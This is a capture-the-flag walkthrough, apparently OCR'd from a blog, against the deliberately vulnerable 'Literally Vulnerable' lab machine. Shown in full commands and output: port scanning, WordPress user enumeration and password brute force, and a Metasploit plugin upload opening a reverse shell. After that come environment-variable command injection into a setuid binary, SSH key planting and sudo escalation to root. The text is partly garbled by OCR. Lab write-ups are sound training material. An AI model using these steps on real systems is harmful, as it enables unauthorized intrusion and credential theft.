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nmap -sP 192.168.0.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-23 20:27 CST
Nmap scan report for 192.168.0.1

Host is up (0.0059s latency).

MAC Address: 48:7D:2E:92:BB:61 (Tp-link Technologies)

Nmap scan report for 192.168.0.101

Host is up (0.44s latency).

MAC Address: A4:50:46:DD:59:5A (Xiaomi Communications)

Nmap scan report for 192.168.0.102

Host is up (©.53s latency).

MAC Address: 74:23:44:8D:74:79 (Xiaomi Communications)

Nmap scan report for literally.vulnerable (192.168.0.104)

Host is up (0.00026s latency).

MAC Address: B@:35:9F:56:8C:A9 (Intel Corporate)

Nmap scan report for 192.168.0.105

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 5.62 seconds
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nmap -sS 192.168.0.104 -p1-65535

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-23 20:29 CST
Nmap scan report for literally.vulnerable (192.168.0.104)

Host is up (©.00053s latency).

Not shown: 65531 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

65535/tcp open unknown

MAC Address: B@:35:9F:56:8C:A9 (Intel Corporate)

Nmap done: 1 IP address (1 host up) scanned in 2.01 seconds
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Not so Vulnerable Just another WordPress site Sample Page Q

Search

UNCATEGORIZED

Hello world!

2, Byadmin (= December4,2019  [J 1Comment

‘Welcome to WordPress. This is your first post. Edit or delete it, then
start writing!

Search ArChiVeS

December 2019
Recent Posts
Hello world! categ ories
Uncategorized
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Index of ftp://192.168.0.104/

4 Up to higher level directory

Name Size Last Modified
File: backupPasswords 1KB 12/4/19 1:05:00 PM GMT+8



Hi Doe,

I'm guessing you forgot your password again! I've added a bunch of passwords below along with your password so we don't get hacked by those elites again
*$eGRITTv3Bs&pT
yPE¥SVOIYOrx7my
GmceC&o0BEbnFCH
31IZguT2pilaxsc
P&s%F104#KDBSES
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SCh$I“gDDQE34 A
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wpscan --url http://192.168.0.104/ -e u
[i] User(s) Identified:
[+] admin

| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

5 8% A wpscanst J5 & #E4T B0 B8

wpscan --url http://192.168.0.104 -U admin -P backupPasswords

[+] Performing password attack on Xmlrpc against 1 user/s
Trying admin / Ae%tMOXIWUMsSCLp Time: 00:00:00 <============================================================

[i] No Valid Passwords Found.
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Apache2 Ubuntu Default Page

%_

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html})
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/

|-- apache2.conf

| ‘-- ports.conf
|-- mods-enabled

| |-- *.load
| t-- *.conf
|-- conf-enabled

| t-- *x.conf
|-- sites-enabled
| t-- *.conf

= apache2. conf is the main configuration file. It puts the pieces together by including all remaining
configuration files when starting up the web server.

= ports.conf is always included from the main configuration file. It is used to determine the
listening ports for incoming connections, and this file can be customized anytime.

= Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories
contain particular configuration snippets which manage modules, global configuration fragments,
or virtual host configurations, respectively.
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing [ N
File Options About Help

http://192.168.0.104:65535/
@ Scan Information * Results - List View: Dirs: 24 Files: 31 'Results - Tree View ' /\ Errors: 0 |

Type Found | Response | Size

Dir / 200 11546
File fmanual 301 260
Dir ficons/ 200 265
Dir fjavascript/ 403 451
Dir /phpems/ 200 274
Dir ficons/smallf 403 451
Dir ficons/ 403 451
File /phpems/findex.php 301 234
Dir /phpems/wp-content/ 200 147
File /phpems/wp-content/index.php 200 147
Dir /phpems/wp-content/themes/ 200 147
Dir /phpemsfwp-content/uploads/ 200 1370
File /phpems/wp-content/themesjindex.php 200 147
File /phpcms/wp-login.php 200 5609
Current speed: 7732 requests/sec (Select and right click for more options)
Average speed: (T) 4927, (C) 7178 requests/sec

Parse Queue Size: 0 Current number of running threads: 200

Total Requests: 98553/11027663 [ change |

Time To Finish: 00:25:22

| d@Back H 0l Pause H ] stop | Report

Starting dirffile list based brute forcing /phpcms/oss.php
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Literally Vulnerable — Just another WordPress site - Mozilla Firefox

Not so Vulnerable — Justanc X | instant-markdown-d X | Literally Vulnerable - Justa: X | +
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Literally Vulnerable Just another WordPress sile

UNCATEGORIZED

Protected: Secure Post

2, Bynotadmin g5 December 4,2019

This content is password protected. To view it please enter your

password below:

Password:

ENTER

RN RRER —NINEH %

UNCATEGORIZED

Notes for John

2 Bynotadmin 5 December4,2019 (1] No Comments

Hi John,
It looks like you forgot your passwords again! Well, that is why I
created this post, whenever you forget your WordPress Admin’s

password just use your master password and unlock it!
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wpscan --url http://192.168.0.104:65535/phpcms -e u

[i] User(s) Identified:

[+] maybeadmin
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] notadmin
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

wpscan --url http://192.168.0.104:65535/phpcms -U maybeadmin,notadmin -P backupPasswords
[+] Performing password attack on Xmlrpc against 2 user/s

[SUCCESS] - maybeadmin / $EPid%J2L9LufO5
Trying notadmin / $*Ke7q2ko3tqoZo Time: 00:00:00 < = e S SE==E

[i] Vvalid Combinations Found:
| Username: maybeadmin, Password: $EPid%J2L9Luf05

K Eshell

BxREG
Dashboard « Literally Vulnerable — WordPress - Mozilla
Notso Vulnerable — Justan: X | instant-markdown-d X | Dashboard «Literally Vulner X | +
] L
< c o @ literally.vulnerable:65535/phpcms/wp-adrr
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\"‘,‘ @ Literally vulnerable 4+ New

@ Dashboard
WordPress 5.3.2 is available! Please notify the site administrator.

A Posts
Q7 Media Dashboard
W Pages At a Glance a Quick Draft a
® Comments A 4Posts W 1Page Title
& Profile B 2 comments .
) Tools WordPress 5.3 running Twenty Twenty theme. Content
(4 . What's on your mind?

Activity a

Recently Published

Dec 4th 2018, 12:02 pm  Secure Post

Dec 4th 2019, 12:00 pm  MNotes for John
Dec 4th 201 Damn, What Should | do?

WordPress Events and News A
Dec 4th 20189, Helloworld!

Attend an upcoming event near you. 2
Recent Comments

I There aren't any events scheduled near you at the mement. Weould
e b drin an P 18 0hns Ehold 1 da .

KImaybeadmin A~ 2 & B 7 K 5 (ToVE 3 o 8, 1% usertz)



7E AR 55 N 25 1850 & Bl notadmin A P K 5

@ Dashboard ® o =
f Posts
All Posts
91 Media
|_. Pages
® Comments Really!? Agaain? Make sure you don't forget it now!
& Profile in:
notadmin:Pa$$wOrd13!&

%3 notadminA & H

it

Dashboard « Literally Vulnerable — WordPress - Mozilla F

Not so Vulnerable — Justan: X | instant-rmarkdown-d X IDashboard<L|'terally\.-’ulnr: X I+

< ¢ @ @ literally.vulnerable:65535/phpcrms/wp-admin/

x XCTF ¥ BugkKu @ BUUCTF [l Bamboofox [ Youdao M CTFtime ) GitHub B CTFtools [E]Pwntools () Canary & CTFWiki Fd Canary € Vulnhub )
@ @A Lier nerable <2 B P

@ Dashboard

WordPress 5.3.2 is available! Please update now.
Home

Dashboard

Welcome to WordPress!
We've assembled some links to get you started:

Cafrani Get Started Next Steps

Appearance Customize Your Site

Write your first blog post

+

Add an About page

Plugins

or, change your theme completely Set up your homepage

i\ »

View your site

At a Glance a Quick Draft a

A 4Posts Il 1Page Title

P 2 Comments |

WordPress 5.3 running Twenty Twenty theme. | Update to5.3.2 Content

Search Engines Discouraged

What's on your mind?

Activity .

Dorrmmtla Dhlichoad
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msf5 exploit( set username notadmin
username => notadmin

msf5 exploit( set rport 65535

rport => 65535

msf5 exploit( set rhosts 192.168.0.104
rhosts == 192.168.0.184

msf5 exploit( ) = set password Pa$$wOrdl3!&
password == Pa$$wOrdl3!&

msf5 exploit( ) = exploit

[*] Started reverse TCP handler on 192.168.0.105:4444
Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*#] Exploit completed, but no session was created.
msf5 exploit( ) = set targeturi /phpcms
targeturi == /phpcms
msf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.0.105:4444

Authenticating with WordPress using notadmin:Pa$$wordl3!&. ..

Authenticated with WordPress

Preparing payload...

Uploading payload...

Executing the payload at /phpcms/wp-content/plugins/NELcBxncKw/0DiJwAzMbj.php. ..
Sending stage (38288 bytes) to 192.168.0.104

Meterpreter session 1 opened (192.168.08.105:4444 -> 192.168.0.104:53564) at 2020-01-23 20:54:30 +0800
Deleted 0DiJwAzMbj.php

Deleted NELcBxncKw.php

Deleted ../NELcBXncKw

meterpreter = sysinfo
Computer : literallyvulnerable

0s : Linux literallyvulnerable 4.15.8-74-generic #84-Ubuntu SMP Thu Dec 19 ©8:06:28 UTC 2019 x86 64
Meterpreter : php/linux
meterpreter > | https://blog.csdn.net/xia739635297

# Alinux shell

meterpreter = shell
Process 2835 created.

Channel © created.
sh: ©: getcwd() failed: No such file or directory
sh: ©: getcwd() failed: No such file or directory

https://blog.csdn.net/xia739635297
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which python
getcwd() failed: No such file or directory

1on3

etéwd{} failed: No such file or directory

R IR 5528 254 python3, f# F python3k & 37 tty 21

python3 -c "import pty;pty.spawn('/bin/bash"')"

python3 -c "import pty;pty.spawn('/bin/bash')"
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
v-data@literallyvulnerable:$ whoami

mi
data
v-data@literallyvulnerable:$ I

2 Fpasswd X #

www-data@literallyvulnerable:$ cat /etc/passwd
cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

news:

7
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

Xx:9:9:news:/var/spool/news:/usr/sbin/nologin

X

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106: :/home/syslog:/usr/sbin/nologin

messagebus:x:103:107: :/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
Ixd:x:105:65534::/var/1lib/1xd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq, ,, :/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin

mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
doe:x:1001:1001:Doe,,, : /home/doe:/bin/bash

john:x:1000:1000:,,, :/home/john:/bin/bash

ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

RILFAN 8 FH F doefiljohn
BEMAIAF B



www-data@literallyvulnerable:$ 1ls /home/doe

1s /home/doe

itseasy 1local.txt noteFromAdmin
www-data@literallyvulnerable:$ 1s /home/john

1s /home/john

user.txt

www-data@literallyvulnerable:$
www-data@literallyvulnerable:$ cat /home/doe/local.txt
cat /home/doe/local.txt

cat: /home/doe/local.txt: Permission denied
www-data@literallyvulnerable:$ cat /home/doe/noteFromAdmin
cat /home/doe/noteFromAdmin

Hey Doe,

Remember to not delete any critical files as you did last time!
www-data@literallyvulnerable:$ cat /home/john/user.txt

cat /home/john/user.txt

cat: /home/john/user.txt: Permission denied

www-data@literallyvulnerable:/home/doe$ ./itseasy
./itseasy

Your Path is: /home/doe
www-data@literallyvulnerable:/home/doe$ cd ..
cd ..

www-data@literallyvulnerable:/home$ doe/itseasy
doe/itseasy

Your Path is: /home
www-data@literallyvulnerable:/home$ pwd

pwd

/home

RIVARBANRE iteasy e — AN ATHAT A 1217 J5 2% B8 42 K XA U/ R8T R, HIDAEE .

meterpreter > download /home/doe/itseasy
[*] Downloading: /home/doe/itseasy -> itseasy
[*] Downloaded 8.43 KiB of 8.43 KiB (100.0%): /home/doe/itseasy -> itseasy

[*] download : /home/doe/itseasy -> itseasy
E Functions window O &F x IDA Wiew—h Pzendocode-n  [£) @ Hex View—l
Funchion name Segmel * 1fint _ cdecl main(int argc, const char **argv, const char **envp)
2{
_imit_proec it 3 _gid_t I"gid; 7 5T28 4
sub_6C0 -plt 4| uid t ruid; /7 ST2C 4
_getenr -plt 5| char *v5; // ra
_setresuid -plt 6| char *ptr; // [rsp+38h] [rbp-1@h]
_ =stack_chk_fail cplt 7| unsigned _ inte4 w8; // [rsp+38h] -
_=metresgid .plt 8
_system .plt 9 & = _ readfsqword(@x28u);
_getenid .plt —C "gid = EEtEE:!-d()i
_getegid .plt _: uid = geteu:.d();
Casprint le || 912 setresgid(rgid, rgid, rgid);
_ oxa finalize .plt. g0 _- S?trfsgtfﬂ uid, ruid, ruid);
_start Ctext i P
d izter_tm_clones text 5] w5 = getenv(TRUD");
EraglEter_tn_ ’ 16| asprintf(&ptr, "/bin/fecho Your Path is: %s™, vs);
regizter_tm_clones . text 17 system( + :I .
_do_global dtors_aux L text 18| return @; '
frame_ dummer L text 19(}
main tavt
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www-data@literallyvulnerable:/home$ expot PWD=\$\(/bin/bash\)
expot PWD=\$\(/bin/bash\)

expot: command not found

www-data@literallyvulnerable:/home$ export PWD=\$\(/bin/bash\)
export PWD=\$\(/bin/bash\)
www-data@literallyvulnerable:$(/bin/bash)$ doe/itseasy
doe/itseasy

john@literallyvulnerable:/home$ whoami

whoami

john@literallyvulnerable:/home$

A ULE B SLAR T john

john@literallyvulnerable:/home$ cd john

cd john

john@literallyvulnerable:/home/john$ cat user.txt
cat user.txt

john@literallyvulnerable:/home/john$

ERAFIE N A B . &R ssh A AN 2 Ik 5525 L i ilsshi .

anicekid

anicekid

john@literallyvulnerable:/home/john$ echo "ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABgQD2MK65AWDR6IRLS1GmMYLOYyGETF
.ssh/authorized_keys

FEFI.



A ~/ .ssh
ssh john@192.168.0.104
The authenticity of host '192.168.0.104 (192.168.0.104)' can't be established.
ECDSA key fingerprint is SHAZ25 00f29ZhYkwlavBxpivFaU3gz/RH2DnyaPpBcMbRbOw.
Are you sure you want to continue connecting (yes/no/[fi rerint])? y
Warning: Permanently added '192.168.0.104' (ECDSA) to the list of known ho
Welcome to Ubuntu 18.84.3 LTS (GNU/Linux 4.15.0-74-generic x86 64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu Jan 23 13:32:29 UTC 2020

0.01 Proce -

28.3% of 19.56GB Use logged in:

58 IP address for ens33: 192.168.0.104
0%

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

20 packages can be updated.
1 update is a security update.

Last login: Mon Jan 20 ©7:19:57 2020 from 192.168.0.105
john@literallyvulnerable:~$ 1s

user.txt

john@literallyvulnerable:~$ cat user.txt

Almost there! Remember to always check permissions! It might not help you here, but
Flag: iuz1498ne667Lldgmfarfrkydvsylki

john@literallyvulnerable:~$% I it

fEjohnH /7 B 3 TR B T # 5 3

john@literallyvulnerable:~/.loc "e/tmpFi word
I always forget my password, so, i i e st 1 e. Also, encoding it with b64 since I don't want my colleagues to hack me!
am9o0bjpZWlckczhZND1IQiNaWko=

A v root anicekid
echo "am9objpZWlckczhZND1JQiNawWko=" |basef4 -d
john1YZW$58Y491B#ZZJE

A ’ t anicekid

FiE RS2 )5, AT LA Fsudo -I.

‘share/tmpFiles$ sudo -1
[sudo] password for john:
Matching Defaults entri for john on literallyvulnerable:

User john may run the following commands on literallyvulnerable:

0 ATl

& Bitest.html 7] F sudoPi AT FRAAE .

john@literallyvulnerable:~/.local/share/tmpFiles$ echo "/bin/bash" > /var/www/html/test.html
-bash: /var/www/html/test.html: Permission denied

HitwebH P BEE B A



www-data@literallyvulnerable:$(/bin/bash)$ echo "/bin/bash"™ > /var/www/html/test.html
/var/www/html/test.html

R R Z AT iy & 45 R R Hjohn/G 4 Bn iR A AEET .

john@literallyvulnerable:~/.local/share/tmpFiles$ sudo /var/www/html/test.html
root@literallyvulnerable:~/.local/share/tmpFiles# whoami
root

root@literallyvulnerable:~/.local/share/tmpFiles# []
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